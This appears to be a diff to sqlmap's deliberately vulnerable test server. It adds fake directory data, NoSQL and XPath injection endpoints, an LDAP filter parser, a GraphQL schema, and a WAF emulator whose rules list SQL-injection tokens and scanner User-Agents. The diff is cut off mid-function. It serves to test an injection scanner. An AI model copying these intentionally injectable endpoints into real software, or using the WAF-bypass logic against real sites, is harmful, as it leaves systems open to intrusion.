 wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
 unzip sqlmap.zip
 rm sqlmap.zip

extra/vulnserver/vulnserver.py

@@ -24,6 +24,7 @@ UNICODE_ENCODING = "utf-8"
 DEBUG = False
 
 if PY3:
+    from http.client import FORBIDDEN
     from http.client import INTERNAL_SERVER_ERROR
     from http.client import NOT_FOUND
     from http.client import OK
@@ -35,6 +36,7 @@ if PY3:
 else:
     from BaseHTTPServer import BaseHTTPRequestHandler
     from BaseHTTPServer import HTTPServer
+    from httplib import FORBIDDEN
     from httplib import INTERNAL_SERVER_ERROR
     from httplib import NOT_FOUND
     from httplib import OK
@@ -115,11 +117,184 @@ SCHEMA = """
     INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
     INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
     INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
+
+    CREATE TABLE directory (
+        dn TEXT,
+        uid TEXT,
+        cn TEXT,
+        sn TEXT,
+        givenName TEXT,
+        displayName TEXT,
+        userPassword TEXT,
+        mail TEXT,
+        objectClass TEXT,
+        objectCategory TEXT,
+        ou TEXT,
+        title TEXT,
+        department TEXT,
+        company TEXT,
+        o TEXT,
+        telephoneNumber TEXT,
+        mobile TEXT,
+        manager TEXT,
+        description TEXT,
+        l TEXT,
+        st TEXT,
+        street TEXT,
+        postalCode TEXT,
+        c TEXT,
+        employeeNumber TEXT,
+        employeeType TEXT,
+        member TEXT
+    );
+    -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail,
+    --               objectClass, objectCategory, ou, title, department, company, o,
+    --               telephoneNumber, mobile, manager, description, l, st, street,
+    --               postalCode, c, employeeNumber, employeeType, member
+    INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL);
+    INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com');
 """
 
 LISTEN_ADDRESS = "localhost"
 LISTEN_PORT = 8440
 
+# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The
+# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match.
+NOSQL_USERS = {
+    "luther": "s3cr3t",
+    "fluffy": "carrot",
+    "wu": "shanghai",
+}
+
+def nosql_match(params):
+    """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password'
+    field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against
+    the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error)."""
+
+    record = NOSQL_USERS.get(params.get("name"))
+
+    spec = params.get("password")
+    if isinstance(spec, dict):
+        op, value = next(iter(spec.items()), ("$eq", None))
+    else:
+        op, value = "$eq", spec
+        for key in params:
+            match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key)
+            if match:
+                op, value = match.group(1), params[key]
+                break
+
+    if isinstance(value, (tuple, list)):
+        value = value[-1] if value else None
+
+    if record is None:
+        return False
+    elif op == "$ne":
+        return record != value
+    elif op == "$gt":
+        return record > (value or "")
+    elif op == "$regex":
+        return re.search(value, record) is not None
+    else:           # $eq, $in (single-valued here) and any literal equality
+        return record == value
+
+# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
+
+XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
+<directory>
+  <department name="IT Operations">
+    <user id="1">
+      <username>luther</username>
+      <realname>Luther Blisset</realname>
+      <email>[email protected]</email>
+      <password>db3a16990a0008a3b04707fdef6584a0</password>
+      <role>System Administrator</role>
+      <location>London</location>
+      <phone>+1 555 0100</phone>
+    </user>
+    <user id="2">
+      <username>fluffy</username>
+      <realname>Fluffy Bunny</realname>
+      <email>[email protected]</email>
+      <password>4db967ce67b15e7fb84c266a76684729</password>
+      <role>Security Engineer</role>
+      <location>Amsterdam</location>
+      <phone>+1 555 0102</phone>
+    </user>
+    <user id="3">
+      <username>wu</username>
+      <realname>Wu Ming</realname>
+      <email>[email protected]</email>
+      <password>f5a2950eaa10f9e99896800eacbe8275</password>
+      <role>Network Administrator</role>
+      <location>Shanghai</location>
+      <phone>+86 21 555 0103</phone>
+    </user>
+  </department>
+  <department name="Engineering">
+    <user id="4">
+      <username>linus</username>
+      <realname>Linus Torvalds</realname>
+      <email>[email protected]</email>
+      <password>8e7b6a5c4d321908f7e6d5c4b3a2910f</password>
+      <role>Kernel Developer</role>
+      <location>Portland</location>
+      <phone>+1 555 0200</phone>
+    </user>
+    <user id="5">
+      <username>ada</username>
+      <realname>Ada Lovelace</realname>
+      <email>[email protected]</email>
+      <password>1a2b3c4d5e6f7081920a1b2c3d4e5f60</password>
+      <role>Algorithm Designer</role>
+      <location>London</location>
+      <phone>+44 20 555 0201</phone>
+    </user>
+  </department>
+  <department name="Management">
+    <user id="6">
+      <username>grace</username>
+      <realname>Grace Hopper</realname>
+      <email>[email protected]</email>
+      <password>9e8d7c6b5a493827160e9d8c7b6a5948</password>
+      <role>CTO</role>
+      <location>New York</location>
+      <phone>+1 555 0300</phone>
+    </user>
+  </department>
+</directory>"""
+
+def _xpath_element_to_dict(el):
+    """Convert an lxml element to a dict for JSON serialization."""
+    retVal = dict(el.attrib)
+    retVal["tag"] = el.tag
+    retVal["text"] = (el.text or "").strip()
+    children = []
+    for child in el:
+        children.append(_xpath_element_to_dict(child))
+    if children:
+        retVal["children"] = children
+    return retVal
+
 _conn = None
 _cursor = None
 _lock = None
@@ -157,6 +332,474 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
             if DEBUG:
                 traceback.print_exc()
 
+# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request
+# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE
+# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request
+# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/
+# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike',
+# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior.
+#
+# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring
+# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the
+# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign
+# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing
+# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper.
+WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+"       # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it
+WAF_RULES = (
+    (r"\bunion\b.{0,40}\bselect\b", 6),
+    (r"\binformation_schema\b", 5),
+    (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5),
+    (r"\b(select|insert|update|delete|drop)\b", 3),
+    (WAF_NUMERIC_COMPARISON, 4),
+    (r"<script", 6),
+)
+WAF_THRESHOLD = {1: 6, 2: 4, 3: 2, 4: 8, 5: 5}      # security_level -> cumulative score that triggers a block
+WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b"
+WAF_SCANNER_UA_WEIGHT = 3       # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score
+
+# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison
+# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all
+# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the
+# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough
+# the search must bail honestly (level 5). This mirrors the hardest real-world case.
+WAF_LIBINJECTION_LEVELS = (4, 5)
+WAF_LIBINJECTION_WEIGHT = 5
+WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)"
+
+def waf_score(value, ua=None, level=0):
+    value = (value or "").lower()
+    value = re.sub(r"/\*.*?\*/", " ", value)        # t:replaceComments (note: -> single space, not empty)
+    value = re.sub(r"(?:--|#)[^\n]*", " ", value)   # t:removeComments (line comments)
+    value = re.sub(r"\s+", " ", value)              # t:compressWhitespace
+    libinjection = level in WAF_LIBINJECTION_LEVELS
+    retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value))
+    if libinjection and re.search(WAF_LIBINJECTION, value):     # operator-agnostic comparison score (tampers cannot remove it)
+        retVal += WAF_LIBINJECTION_WEIGHT
+    if ua and re.search(WAF_SCANNER_UA, ua):        # scanner-fingerprint score, stacked with the payload score
+        retVal += WAF_SCANNER_UA_WEIGHT
+    return retVal
+
+# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------
+
+def _ldap_escape_like(value):
+    """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent,
+    and underscore are the only characters with special meaning in LIKE."""
+    if value is None:
+        return None
+    return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_')
+
+def _ldap_attr(attr):
+    """Map an LDAP attribute name to the directory table column, or None if unknown."""
+    valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"}
+    return attr if attr in valid else None
+
+def _ldap_match(text, start):
+    """Find the closing ')' that balances the opening '(' at `start`. Skip escaped
+    hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')'
+    as a structural closer."""
+    depth = 0
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if ch == '(':
+            depth += 1
+        elif ch == ')':
+            depth -= 1
+            if depth == 0:
+                return i + 1
+        elif ch == '\\':
+            i += 1
+        i += 1
+    return len(text)
+
+def _ldap_parse_value(text, start):
+    """Parse an assertion value from filter text at position `start`, handling escape sequences.
+    Returns (value, end_pos)."""
+    retVal = []
+    i = start
+    while i < len(text) and text[i] not in (')',):
+        if text[i] == '\\' and i + 2 < len(text):
+            retVal.append(chr(int(text[i+1:i+3], 16)))
+            i += 3
+        else:
+            retVal.append(text[i])
+            i += 1
+    return ''.join(retVal), i
+
+def _ldap_filter_to_sql(text, start=0):
+    """Convert an LDAP filter substring starting at `start` to a parameterized
+    SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos)
+    on parse failure. Values are passed as parameters so that user-controlled
+    characters (apostrophe, backslash, etc.) cannot break the SQL string literal."""
+
+    if start >= len(text) or text[start] != '(':
+        return None, [], start
+
+    i = start + 1
+    if i >= len(text):
+        return None, [], start
+
+    op = text[i]
+    i += 1
+
+    if op in ('&', '|'):
+        # Compound filter: collect all sub-filters
+        sub_clauses = []
+        sub_params = []
+        while i < len(text) and text[i] == '(':
+            clause, params, i = _ldap_filter_to_sql(text, i)
+            if clause:
+                sub_clauses.append(clause)
+                sub_params.extend(params)
+        # Always use bracket-matched end so nested compounds don't shift the
+        # parent's notion of where this child ends (reviewer blocker 3)
+        end = _ldap_match(text, start)
+        if not sub_clauses:
+            return None, [], end
+        if len(sub_clauses) == 1:
+            return sub_clauses[0], sub_params, end
+        joiner = " AND " if op == '&' else " OR "
+        return "(%s)" % joiner.join(sub_clauses), sub_params, end
+
+    elif op == '!':
+        # NOT filter
+        clause, params, i = _ldap_filter_to_sql(text, i)
+        end = _ldap_match(text, start)
+        if clause:
+            return "(NOT (%s))" % clause, params, end
+        return None, [], end
+
+    else:
+        # Simple filter: attr OP value
+        # Re-read from start+1 to get the full attr name
+        j = start + 1
+        while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'):
+            j += 1
+        attr = text[start+1:j].strip()
+        if not attr:
+            return None, [], _ldap_match(text, start)
+
+        col = _ldap_attr(attr)
+        if col is None:
+            return None, [], _ldap_match(text, start)
+
+        if j >= len(text):
+            return None, [], start
+
+        # Check for approx match (~=)
+        if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '~='
+            j += 2
+        elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '>='
+            j += 2
+        elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '<='
+            j += 2
+        elif text[j] == '=':
+            op_type = '='
+            j += 1
+        else:
+            return None, [], _ldap_match(text, start)
+
+        value, _ = _ldap_parse_value(text, j)
+        end = _ldap_match(text, start)
+
+        if op_type == '=':
+            if value == '*':
+                return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
+            elif '*' in value:
+                parts = value.split('*')
+                if len(parts) == 2 and not parts[0] and not parts[1]:
+                    # Just '*' -> presence
+                    return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
+                elif len(parts) == 2 and parts[0] and not parts[1]:
+                    # 'prefix*' -> anchored prefix match (LDAP semantics)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end
+                elif len(parts) == 2 and not parts[0] and parts[1]:
+                    # '*suffix' -> anchored suffix match (LDAP semantics)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end
+                else:
+                    # '*mid*', 'pre*mid*suf', etc. -- split('*') already
+                    # partitions the value into literal segments; joining
+                    # them with '%' naturally produces the correct anchored
+                    # LIKE pattern: empty first/last elements from surrounding
+                    # wildcards become leading/trailing '%' automatically.
+                    pattern = '%'.join(_ldap_escape_like(p) for p in parts)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end
+            else:
+                return "(%s = ?)" % col, [value], end
+        elif op_type == '>=':
+            return "(%s >= ?)" % col, [value], end
+        elif op_type == '<=':
+            return "(%s <= ?)" % col, [value], end
+        elif op_type == '~=':
+            return "(%s = ?)" % col, [value], end
+
+        return None, [], end
+
+
+def _ldap_execute(filter_str):
+    """Execute an LDAP filter against the directory table. Returns (rows, error_msg)."""
+    if not filter_str or not filter_str.strip():
+        return None, "Bad search filter"
+
+    # Simple bracket validation
+    if filter_str.count('(') != filter_str.count(')'):
+        return None, "Bad search filter (-7)"
+
+    try:
+        clause, params, _ = _ldap_filter_to_sql(filter_str)
+        if not clause:
+            return None, "Bad search filter (-7)"
+
+        sql = "SELECT * FROM directory WHERE %s" % clause
+        with _lock:
+            _cursor.execute(sql, params)
+            rows = _cursor.fetchall()
+        return rows, None
+    except Exception as ex:
+        msg = str(ex)
+        # Emulate different back-end error messages
+        if "no such column" in msg.lower():
+            return None, "Bad search filter"
+        if "unrecognized" in msg.lower() or "syntax" in msg.lower():
+            return None, "Bad search filter (-7)"
+        return None, "Bad search filter (%s)" % msg.split(':')[0]
+
+def _ldap_row_to_obj(row):
+    """Convert a SQLite row to a dict with non-None attributes."""
+    if not row:
+        return None
+    keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member")
+    return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None)
+
+# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ----------
+
+# Hard-coded introspection response matching the schema below. Every GraphQL tool (including
+# sqlmap's --graphql engine) uses this to discover fields, arguments, and types.
+def _graphql_introspection():
+    return {
+        "data": {
+            "__schema": {
+                "queryType": {"name": "Query"},
+                "mutationType": {"name": "Mutation"},
+                "subscriptionType": None,
+                "directives": [],
+                "types": [
+                    {"kind": "OBJECT", "name": "Query", "fields": [
+                        {"name": "user", "args": [
+                            {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                        {"name": "search", "args": [
+                            {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}}
+                        ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}},
+                        {"name": "login", "args": [
+                            {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}},
+                            {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "OBJECT", "name": "Mutation", "fields": [
+                        {"name": "updateUser", "args": [
+                            {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
+                            {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [
+                        {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
+                        {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                    ]},
+                    {"kind": "SCALAR", "name": "Int"},
+                    {"kind": "SCALAR", "name": "String"},
+                    {"kind": "SCALAR", "name": "Boolean"},
+                    {"kind": "SCALAR", "name": "Float"},
+                    {"kind": "SCALAR", "name": "ID"},
+                    {"kind": "OBJECT", "name": "User", "fields": [
+                        {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}},
+                        {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                        {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "OBJECT", "name": "AuthPayload", "fields": [
+                        {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                        {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                ]
+            }
+        }
+    }
+
+
+def _graphql_arg(raw):
+    """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is"""
+    raw = raw.strip()
+    if raw.startswith('"') and raw.endswith('"'):
+        return raw[1:-1].replace('\\"', '"')
+    return raw
+
+
+def _graphql_match(text, start):
+    """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over
+    double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and
+    nested selection sets do not throw off the balance."""
+
+    pairs = {'(': ')', '{': '}'}
+    opener, closer = text[start], pairs[text[start]]
+    depth, i, n = 0, start, len(text)
+    while i < n:
+        char = text[i]
+        if char == '"':
+            i += 1
+            while i < n and text[i] != '"':
+                i += 2 if text[i] == '\\' else 1
+        elif char == opener:
+            depth += 1
+        elif char == closer:
+            depth -= 1
+            if depth == 0:
+                return i + 1
+        i += 1
+    return n
+
+
+def _graphql_selections(body):
+    """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing,
+    argument literals carrying brackets/quotes, and nested selection sets (which are skipped over)."""
+
+    identifier = re.compile(r'[A-Za-z_]\w*')
+    selections, i, n = [], 0, len(body)
+    while i < n:
+        while i < n and body[i] in ' \t\r\n,':
+            i += 1
+        match = identifier.match(body, i)
+        if not match:
+            i += 1
+            continue
+        name, i = match.group(0), match.end()
+
+        j = i
+        while j < n and body[j] in ' \t\r\n':
+            j += 1
+        if j < n and body[j] == ':':                # 'name' was an alias; the real field follows
+            j += 1
+            while j < n and body[j] in ' \t\r\n':
+                j += 1
+            match = identifier.match(body, j)
+            if not match:
+                continue
+            alias, field, i = name, match.group(0), match.end()
+        else:
+            alias, field = None, name
+
+        while i < n and body[i] in ' \t\r\n':
+            i += 1
+        rawArgs = ""
+        if i < n and body[i] == '(':
+            end = _graphql_match(body, i)
+            rawArgs, i = body[i + 1:end - 1], end
+
+        while i < n and body[i] in ' \t\r\n':
+            i += 1
+        if i < n and body[i] == '{':                # skip this field's (possibly nested) selection set
+            i = _graphql_match(body, i)
+
+        selections.append((alias, field, rawArgs))
+    return selections
+
+
+def _graphql_resolve(query, variables):
+    """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field,
+    and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request
+    (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip."""
+
+    variables = variables or {}
+    errors = []
+    data = {}
+
+    op = "query"
+    for keyword in ("mutation", "subscription"):
+        if query.strip().startswith(keyword):
+            op = keyword
+            break
+
+    start = query.find('{')
+    if start == -1:
+        errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}})
+        return None, errors
+
+    for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]):
+        key = alias or field
+
+        # Parse arguments
+        args = {}
+        for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs):
+            name, val = am.group(1), am.group(2)
+            if val.startswith('$'):
+                args[name] = variables.get(val[1:], None)
+            else:
+                args[name] = _graphql_arg(val)
+
+        try:
+            if field in ("__typename", "__schema"):
+                data[key] = op.title()
+            elif field == "user":
+                data[key] = _resolver_user(args.get("username"))
+            elif field == "search":
+                data[key] = _resolver_search(args.get("term"))
+            elif field == "login":
